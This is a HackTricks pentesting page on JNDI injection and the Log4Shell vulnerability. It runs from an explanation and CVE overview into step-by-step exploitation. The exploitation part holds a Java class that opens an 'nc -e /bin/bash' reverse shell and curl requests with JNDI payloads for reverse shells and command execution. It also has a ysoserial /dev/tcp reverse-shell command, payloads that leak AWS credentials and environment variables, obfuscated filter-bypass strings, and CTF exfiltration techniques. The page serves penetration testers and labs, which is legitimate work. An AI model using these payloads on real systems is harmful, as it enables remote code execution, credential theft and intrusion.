hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

494 lines
31 KiB
Markdown
Raw Permalink Normal View History

2022-05-17 22:16:42 +00:00
# JNDI - Java Naming and Directory Interface & Log4Shell
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
2024-07-19 14:09:38 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 14:09:38 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-17 22:16:42 +00:00
## Basic Information
2021-12-24 01:52:37 +00:00
2024-02-06 14:12:47 +00:00
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### JNDI Naming Reference
2024-02-06 14:12:47 +00:00
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
2021-12-24 01:52:37 +00:00
* **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
* **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
2021-12-24 01:52:37 +00:00
2024-02-06 14:12:47 +00:00
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
2021-12-26 17:34:46 +00:00
* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
* **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
2021-12-26 17:34:46 +00:00
2024-02-06 14:12:47 +00:00
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
2021-12-26 17:34:46 +00:00
2024-02-06 14:12:47 +00:00
Examples of exploitable URLs include:
2021-12-26 17:34:46 +00:00
* _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
2021-12-26 17:34:46 +00:00
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
2021-12-26 17:34:46 +00:00
2022-05-17 22:16:42 +00:00
### JNDI Example
2021-12-26 17:34:46 +00:00
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (1022).png>)
2021-12-26 17:34:46 +00:00
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
2024-02-06 14:12:47 +00:00
### CORBA Overview
2021-12-26 17:34:46 +00:00
2024-02-06 14:12:47 +00:00
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
2021-12-26 17:34:46 +00:00
* **Type ID**: Unique identifier for an interface.
* **Codebase**: URL for obtaining the stub class.
2021-12-26 17:34:46 +00:00
2024-02-06 14:12:47 +00:00
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
2021-12-26 17:34:46 +00:00
* Installation of a **Security Manager**.
* Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
* Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
2021-12-26 17:34:46 +00:00
2024-02-06 14:12:47 +00:00
However, some vendor policies might be lenient and allow these connections by default.
### RMI Context
For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
2021-12-26 17:34:46 +00:00
2022-05-17 22:16:42 +00:00
### LDAP
2021-12-26 17:34:46 +00:00
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
2022-05-17 22:16:42 +00:00
#### Deserialization exploit
2021-12-26 17:34:46 +00:00
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (275).png>)
2021-12-26 17:34:46 +00:00
The **exploit is serialized** and will be deserialized.\
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
2022-05-17 22:16:42 +00:00
#### JNDI Reference exploit
2021-12-26 17:34:46 +00:00
It's easier to attack this LDAP using **JavaFactory references**:
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (1059).png>)
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
## Log4Shell Vulnerability
2021-12-24 01:52:37 +00:00
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
2024-02-06 14:12:47 +00:00
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
2021-12-24 01:52:37 +00:00
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` theres **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
2022-01-31 14:51:03 +00:00
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
2021-12-24 01:52:37 +00:00
2024-02-06 14:12:47 +00:00
## Overview of Log4Shell-Related CVEs
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
2024-02-06 14:12:47 +00:00
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
2024-02-06 14:12:47 +00:00
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
2024-02-06 14:12:47 +00:00
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
### **CVE-2021-45105** **\[High]**
2024-02-06 14:12:47 +00:00
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
## Log4Shell Exploitation
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### Discovery
2021-12-24 01:52:37 +00:00
2024-02-06 14:12:47 +00:00
This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
2021-12-24 01:52:37 +00:00
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
2021-12-26 01:35:57 +00:00
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
2021-12-24 01:52:37 +00:00
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
{% hint style="info" %}
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
2022-05-17 22:16:42 +00:00
#### **Local Discovery**
2021-12-24 07:57:58 +00:00
Search for **local vulnerable versions** of the library with:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
2022-05-17 22:16:42 +00:00
### **Verification**
2021-12-24 01:52:37 +00:00
Some of the platforms listed before will allow you to insert some variable data that will be logged when its requested.\
This can be very useful for 2 things:
* To **verify** the vulnerability
* To **exfiltrate information** abusing the vulnerability
For example you could request something like:\
2022-02-02 15:35:20 +00:00
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
2021-12-24 01:52:37 +00:00
Other information you could try to **leak**:
2021-12-26 01:35:57 +00:00
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
```
2022-05-17 22:16:42 +00:00
### RCE Information
2021-12-26 01:35:57 +00:00
{% hint style="info" %}
2024-02-06 14:12:47 +00:00
Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
2021-12-26 01:35:57 +00:00
2021-12-26 17:34:46 +00:00
For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
2021-12-26 01:35:57 +00:00
{% endhint %}
2022-05-17 22:16:42 +00:00
### RCE - Marshalsec with custom payload
2021-12-26 01:35:57 +00:00
2024-02-06 14:12:47 +00:00
You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
2021-12-26 01:35:57 +00:00
2024-02-06 14:12:47 +00:00
Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
2021-12-26 01:35:57 +00:00
```
2024-02-06 14:12:47 +00:00
To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
2021-12-26 01:35:57 +00:00
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
2024-02-06 14:12:47 +00:00
Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
2021-12-26 01:35:57 +00:00
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
2024-02-06 14:12:47 +00:00
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
2022-05-17 22:16:42 +00:00
### RCE - **JNDIExploit**
2021-12-25 01:37:23 +00:00
{% hint style="info" %}
Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
{% endhint %}
2021-12-26 01:35:57 +00:00
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
2021-12-25 01:37:23 +00:00
2021-12-26 01:35:57 +00:00
Then, you can download the **JNDIExploit** jar file and execute it with:
2021-12-25 01:37:23 +00:00
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
2021-12-25 01:37:23 +00:00
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
So, in our example, we already have that docker vulnerable app running. To attack it:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
2022-05-17 22:16:42 +00:00
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
2021-12-25 01:37:23 +00:00
2021-12-26 01:35:57 +00:00
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
2021-12-25 01:37:23 +00:00
You can generate the URLs to send to the victim running:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
2021-12-26 01:35:57 +00:00
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this wont generally work (as by default Java is not configured to load remote codebase using LDAP) I think because its not abusing a trusted class to execute arbitrary code._
2021-12-25 01:37:23 +00:00
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
2022-05-17 22:16:42 +00:00
### RCE - ysoserial & JNDI-Exploit-Kit
2021-12-25 01:37:23 +00:00
2022-02-02 15:35:20 +00:00
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
2021-12-24 01:52:37 +00:00
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
2022-05-18 11:36:40 +00:00
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
2021-12-24 01:52:37 +00:00
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (1118).png>)
2021-12-24 01:52:37 +00:00
2022-05-18 11:36:40 +00:00
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### Bypasses
2021-12-24 01:52:37 +00:00
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
2021-12-26 01:35:57 +00:00
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
2021-12-24 01:52:37 +00:00
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
2022-05-17 22:16:42 +00:00
### Automatic Scanners
2021-12-24 01:52:37 +00:00
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
2022-05-17 22:16:42 +00:00
### Labs to test
2021-12-24 01:52:37 +00:00
2022-02-02 15:35:20 +00:00
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
2021-12-24 01:52:37 +00:00
2022-08-10 14:32:58 +00:00
## Post-Log4Shell Exploitation
In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
2022-10-03 00:11:21 +00:00
The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
2022-08-10 14:32:58 +00:00
> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
2022-08-10 14:39:19 +00:00
### Env Lookups
2022-08-10 14:32:58 +00:00
2024-02-06 14:12:47 +00:00
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
2022-08-10 14:32:58 +00:00
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
2022-08-10 14:39:19 +00:00
### Exfiltration in Exceptions
2022-08-10 14:32:58 +00:00
In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (1023).png>)
2022-08-10 14:32:58 +00:00
2022-08-10 14:39:19 +00:00
### Conversion Patterns Exceptions
2022-08-10 14:32:58 +00:00
Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (683).png>)
2022-08-10 14:32:58 +00:00
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
2022-08-10 14:39:19 +00:00
### Conversion Patterns Regexes
2022-08-10 14:32:58 +00:00
However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
* **Binary search via exception messages**
The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
2024-02-06 14:12:47 +00:00
Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
2022-08-10 14:32:58 +00:00
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
* **Time based**
As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
2022-08-10 14:46:00 +00:00
In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
2022-08-10 14:46:00 +00:00
>
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
2022-05-17 22:16:42 +00:00
## References
2021-12-24 01:52:37 +00:00
